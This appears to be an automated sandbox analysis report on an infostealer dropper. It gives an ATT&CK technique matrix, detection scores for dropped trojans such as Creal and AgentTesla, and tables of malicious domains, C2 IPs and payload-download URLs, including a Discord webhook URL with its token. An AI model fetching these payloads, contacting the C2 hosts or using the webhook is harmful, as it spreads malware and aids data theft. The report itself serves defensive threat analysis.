External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS
Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Exfiltration Over Alternative Protocol	Application Layer Protocol			Defacement	Serverless	Network Trust Dependencies
Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Web Protocols			Internal Defacement	Malvertising	Network Topology
Supply Chain Compromise	PowerShell	Cron	Cron	511 Process Injection	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	File Transfer Protocols			External Defacement	Compromise Infrastructure	IP Addresses
Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Services File Permissions Weakness	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Exfiltration Over Unencrypted Non-C2 Protocol	Mail Protocols			Firmware Corruption	Domains	Network Security Appliances

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New_Text_Document_mod.exse.exe	16%	ReversingLabs	Win32.Infostealer.Generic
New_Text_Document_mod.exse.exe	21%	Virustotal		Browse
New_Text_Document_mod.exse.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_ARC4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_Salsa20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_chacha20.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_pkcs1_decode.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_aes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_aesni.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_arc2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_blowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cast.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cbc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_cfb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ctr.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_des.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_des3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ecb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_eksblowfish.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ocb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Cipher\_raw_ofb.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_BLAKE2b.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_BLAKE2s.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD4.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_MD5.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_RIPEMD160.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA1.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA224.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA256.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA384.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_SHA512.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_ghash_clmul.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_ghash_portable.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_keccak.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Hash\_poly1305.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Math\_modexp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Protocol\_scrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ec_ws.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ed25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_ed448.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\PublicKey\_x25519.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Util\_cpuid_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\Crypto\Util\_strxor.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\VCRUNTIME140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\charset_normalizer\md.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\pywin32_system32\pywintypes312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI80242\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\Desktop\a\Creal.exe	65%	ReversingLabs	Win64.Trojan.ReverseShell
C:\Users\user\Desktop\a\Voiceaibeta-5.13.exe	3%	ReversingLabs
C:\Users\user\Desktop\a\build3.exe	78%	ReversingLabs	Win32.Trojan.Malgent
C:\Users\user\Desktop\a\somzx.exe	87%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\Desktop\a\spfasiazx.exe	27%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\a\spfasiazx.exe.loqw (copy)	27%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\a\voice5.13sert.exe	13%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\a\wlanext.exe	38%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\a\wlanext.exe.loqw (copy)	38%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
mail.acestar.com.ph	1%	Virustotal	Browse
comediantes.org	8%	Virustotal	Browse
mrproper.org	3%	Virustotal	Browse
discord.com	0%	Virustotal	Browse
geolocation-db.com	1%	Virustotal	Browse
zexeq.com	21%	Virustotal	Browse
edarululoom.com	9%	Virustotal	Browse
brusuax.com	17%	Virustotal	Browse
china.dhabigroup.top	26%	Virustotal	Browse
tmpfiles.org	3%	Virustotal	Browse
domen414.com	2%	Virustotal	Browse
objects.githubusercontent.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.exabot.com/go/robot)Opera/9.80	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
https://wwww.certigna.fr/autorites/0m	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://crl.securetrust.com/STCA.crl	0%	URL Reputation	safe
https://blockchain.infoindex	0%	URL Reputation	safe
http://go.microsoft.c	0%	URL Reputation	safe
http://www.accv.es00	0%	URL Reputation	safe
http://crl.securetrust.com/SGCA.crl0	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://ocsp.accv.es0	0%	URL Reputation	safe
http://misc.yahoo.com.cn/help.html)QueryPerformanceFrequency	0%	URL Reputation	safe
http://brusuax.com/dl/buildz.exe	0%	URL Reputation	safe
https://domen414.com/	0%	Avira URL Cloud	safe
http://185.172.128.19/ghsdh39s/index.phpUsers	100%	Avira URL Cloud	malware
http://185.172.128.19/ghsdh39s/index.php4	100%	Avira URL Cloud	malware
http://zexeq.com/test1/get.php	100%	Avira URL Cloud	malware
http://crl.dhimyotis.com/certignarootca.crl&	0%	Avira URL Cloud	safe
https://comediantes.org/wp-admin/user/513/voice5.13sert.exe	100%	Avira URL Cloud	malware
http://www.avantbrowser.com)MOT-V9mm/	0%	Avira URL Cloud	safe
http://crl.dhimyotis.com/certignarootca.crl&	0%	Virustotal		Browse
http://crl.dhimyotis.com/certignarootca.crl	0%	Avira URL Cloud	safe
http://zexeq.com/test1/get.php	21%	Virustotal		Browse
http://www.zhongyicts.com.cn	0%	Avira URL Cloud	safe
http://185.172.128.19/ghsdh39s/index.phps	100%	Avira URL Cloud	malware
https://comediantes.org/wp-admin/user/513/voice5.13sert.exe	18%	Virustotal		Browse
http://brusuax.com/dl/build2.exe	100%	Avira URL Cloud	malware
http://www.zhongyicts.com.cn	0%	Virustotal		Browse
http://www.spidersoft.com)	0%	Avira URL Cloud	safe
http://185.172.128.19/ghsdh39s/index.phpo	100%	Avira URL Cloud	malware
http://185.172.128.19/ghsdh39s/index.phpWindows	100%	Avira URL Cloud	malware
http://brusuax.com/dl/build2.exe	23%	Virustotal		Browse
https://discord.com/api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8	0%	Avira URL Cloud	safe
https://domen414.com/	2%	Virustotal		Browse
http://crl.dhimyotis.com/certignarootca.crl	0%	Virustotal		Browse
http://185.172.128.19/ghsdh39s/index.phpUsers	0%	Virustotal		Browse
https://mahler:8092/site-updates.py	0%	Avira URL Cloud	safe
http://185.172.128.19/ghsdh39s/index.phpo	22%	Virustotal		Browse
http://www.founder.com.cn/cn/bThe	0%	Avira URL Cloud	safe
https://mrproper.org/e0cbefcb1af40c7d4aff4aca26621a98.exeancisco1	0%	Avira URL Cloud	safe
http://crl3.digi	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8	0%	Virustotal		Browse
https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg	0%	Avira URL Cloud	safe
https://geolocation-db.com/jsonp/102.129.152.212	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://cacerts.digicert.co	0%	Avira URL Cloud	safe
https://discord.com/api/users/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	Virustotal		Browse
https://raw.githubusercontent.com/Ayhuuu/Creal-Stealer/main/img/xd.jpg	2%	Virustotal		Browse
https://tmpfiles.org/dl/3467996/anydesk.exe	0%	Avira URL Cloud	safe
http://ocsp.di	0%	Avira URL Cloud	safe
https://domen414.com/9f4658d103ba0f0693c21ed9db84a626/e0cbefcb1af40c7d4aff4aca26621a98.exetP	0%	Avira URL Cloud	safe
https://geolocation-db.com/jsonp/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	Avira URL Cloud	safe
https://discord.com/api/users/	0%	Virustotal		Browse
https://tmpfiles.org/dl/3467996/anydesk.exe	2%	Virustotal		Browse
http://cacerts.digicert.co	0%	Virustotal		Browse
http://china.dhabigroup.top/_errorpages/spfasiazx.exe	100%	Avira URL Cloud	malware
https://edarululoom.com/Kolodi.exe	100%	Avira URL Cloud	malware
http://91.92.253.29/alex.exe	100%	Avira URL Cloud	malware
https://china.dhabigroup.top/_errorpages/somzx.exe	100%	Avira URL Cloud	phishing
http://china.dhabigroup.top/_errorpages/spfasiazx.exe	27%	Virustotal		Browse
https://edarululoom.com/Kolodi.exe	19%	Virustotal		Browse
http://www.founder.com.cn/cn	0%	Virustotal		Browse
https://geolocation-db.com/jsonp/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.acestar.com.ph	45.33.104.46	true	true	1%, Virustotal, Browse	unknown
comediantes.org	162.241.217.120	true	false	8%, Virustotal, Browse	unknown
mrproper.org	104.21.63.180	true	false	3%, Virustotal, Browse	unknown
discord.com	162.159.136.232	true	true	0%, Virustotal, Browse	unknown
api4.ipify.org	64.185.227.156	true	false		high
github.com	140.82.113.4	true	false		high
t.me	149.154.167.99	true	false		high
bj.file.myqcloud.com	82.156.94.48	true	false		high
geolocation-db.com	159.89.102.253	true	false	1%, Virustotal, Browse	unknown
zexeq.com	179.153.102.52	true	true	21%, Virustotal, Browse	unknown
edarululoom.com	104.21.42.224	true	false	9%, Virustotal, Browse	unknown
api.gofile.io	151.80.29.83	true	false		high
brusuax.com	210.182.29.70	true	true	17%, Virustotal, Browse	unknown
china.dhabigroup.top	172.67.195.16	true	true	26%, Virustotal, Browse	unknown
tmpfiles.org	104.21.21.16	true	false	3%, Virustotal, Browse	unknown
domen414.com	104.21.91.52	true	false	2%, Virustotal, Browse	unknown
www.magssin.com	167.86.119.6	true	false		unknown
api.2ip.ua	172.67.139.220	true	false		high
objects.githubusercontent.com	185.199.110.133	true	false	1%, Virustotal, Browse	unknown
132xz-1319111867.cos.ap-beijing.myqcloud.com	unknown	unknown	false		high
api.ipify.org	unknown	unknown	false		high
urlhaus.abuse.ch	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://zexeq.com/test1/get.php	true	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://comediantes.org/wp-admin/user/513/voice5.13sert.exe	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://brusuax.com/dl/build2.exe	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/fra1zz1337/Stealer/releases/download/Stealer/Creal.exe	false		high
https://geolocation-db.com/jsonp/102.129.152.212	false	Avira URL Cloud: safe	unknown
https://api.ipify.org/	false		high
https://tmpfiles.org/dl/3467996/anydesk.exe	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json	false		high
http://china.dhabigroup.top/_errorpages/spfasiazx.exe	true	27%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://brusuax.com/dl/buildz.exe	false	URL Reputation: safe	unknown
https://edarululoom.com/Kolodi.exe	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://china.dhabigroup.top/_errorpages/somzx.exe	true	Avira URL Cloud: phishing	unknown
http://91.92.253.29/alex.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.172.128.19/ghsdh39s/index.php4	build3.exe, 00000008.00000003.2923118208.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, build3.exe, 00000008.00000003.2923172862.00000000007F5000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.dhimyotis.com/certignarootca.crl&	Creal.exe, 00000016.00000003.2117153566.000001B1EE2F1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2110808572.000001B1EE2F0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2156817595.000001B1EE2F2000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages	Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	false		high
https://domen414.com/	build3.exe, 00000008.00000003.1727791573.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	Creal.exe, 00000016.00000003.1824053886.000001B1ED8D9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.19/ghsdh39s/index.phpUsers	build3.exe, 00000008.00000003.2923118208.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, build3.exe, 00000008.00000003.2923172862.00000000007F5000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	Creal.exe, 00000016.00000003.2108070182.000001B1EDD51000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.1837212025.000001B1EDD5A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/packaging	Creal.exe, 00000016.00000002.2244367898.000001B1EF490000.00000004.00001000.00020000.00000000.sdmp	false		high
http://repository.swisssign.com/a	Creal.exe, 00000016.00000003.2152723470.000001B1EDCB9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://refspecs.linuxfoundation.org/elf/gabi4	Creal.exe, 00000016.00000002.2244367898.000001B1EF490000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.avantbrowser.com)MOT-V9mm/	e0cbefcb1af40c7d4aff4aca26621a98.exe	false	Avira URL Cloud: safe	low
https://nuget.org/nuget.exe	powershell.exe, 00000010.00000002.2518809761.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2153972596.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com/attachments/1088058556286251082/1111230812579450950/TsgVtmYNoFT.zipMozill	e0cbefcb1af40c7d4aff4aca26621a98.exe	false		high
http://www.galapagosdesign.com/DPlease	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/rfc3610	Creal.exe, 00000016.00000003.2149661742.000001B1EE31C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2167757870.000001B1EE31D000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/platformdirs/platformdirs	Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crl	Creal.exe, 00000016.00000003.2117153566.000001B1EE2F1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2110808572.000001B1EE2F0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2156817595.000001B1EE2F2000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2227033489.000001B1EE2F2000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://turnitin.com/robot/crawlerinfo.html)cannot	e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	false		high
http://www.exabot.com/go/robot)Opera/9.80	e0cbefcb1af40c7d4aff4aca26621a98.exe	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000010.00000002.2457686671.0000000004A91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2118148053.0000000004DF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.172.128.19/ghsdh39s/index.phps	build3.exe, 00000008.00000003.2923118208.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.2118148053.0000000004F5E000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://pypi.org/project/build/).	Creal.exe, 00000016.00000002.2238063658.000001B1EE6F0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.2118148053.0000000004F5E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.google.com/bot.html)crypto/ecdh:	e0cbefcb1af40c7d4aff4aca26621a98.exe	false		high
https://wwww.certigna.fr/autorites/0m	Creal.exe, 00000016.00000003.2117153566.000001B1EE2F1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2110808572.000001B1EE2F0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2156817595.000001B1EE2F2000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2227033489.000001B1EE2F2000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	Creal.exe, 00000016.00000003.1824053886.000001B1ED8D9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	Creal.exe, 00000016.00000003.1842484892.000001B1ED972000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000013.00000002.2153972596.0000000005E5D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://httpbin.org/	Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.spidersoft.com)	e0cbefcb1af40c7d4aff4aca26621a98.exe	false	Avira URL Cloud: safe	low
http://repository.swisssign.com/v	Creal.exe, 00000016.00000003.2107016340.000001B1EEE74000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2223043491.000001B1EEE0C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2116312421.000001B1EEE07000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.19/ghsdh39s/index.phpo	build3.exe, 00000008.00000003.2923053923.0000000000807000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.2118148053.0000000004F5E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	Creal.exe, 00000016.00000003.2185905561.000001B1EE479000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	spfasiazx.exe, 00000002.00000002.1683712554.0000000007302000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl	Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_Error	wlanext.exe, wlanext.exe, 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmp, wlanext.exe, 0000000E.00000000.1745152504.0000000000409000.00000008.00000001.01000000.00000011.sdmp	false		high
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	Creal.exe, 00000016.00000003.2103112492.000001B1EEEA3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.172.128.19/ghsdh39s/index.phpWindows	build3.exe, 00000008.00000003.2923118208.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, build3.exe, 00000008.00000003.2923172862.00000000007F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.google.com/feedfetcher.html)HKLM	e0cbefcb1af40c7d4aff4aca26621a98.exe, e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	false		high
https://blockchain.infoindex	e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000002.4088646088.0000000000400000.00000040.00000001.01000000.00000012.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/webhooks/1181574744118673540/9bH6Vopi-qCubp0X6a2RwS6Og7dzvrHwXZkeUjw73cE_5N8	Creal.exe, 00000016.00000002.2240429198.000001B1EEB90000.00000004.00001000.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.cert.fnmt.es/dpcs/	Creal.exe, 00000016.00000003.2111257669.000001B1EECD5000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2104334200.000001B1EEE73000.00000004.00000020.00020000.00000000.sdmp	false		high
http://go.microsoft.c	spfasiazx.exe, 00000004.00000002.1715482495.00000000010D6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google.com/mail	Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	false		high
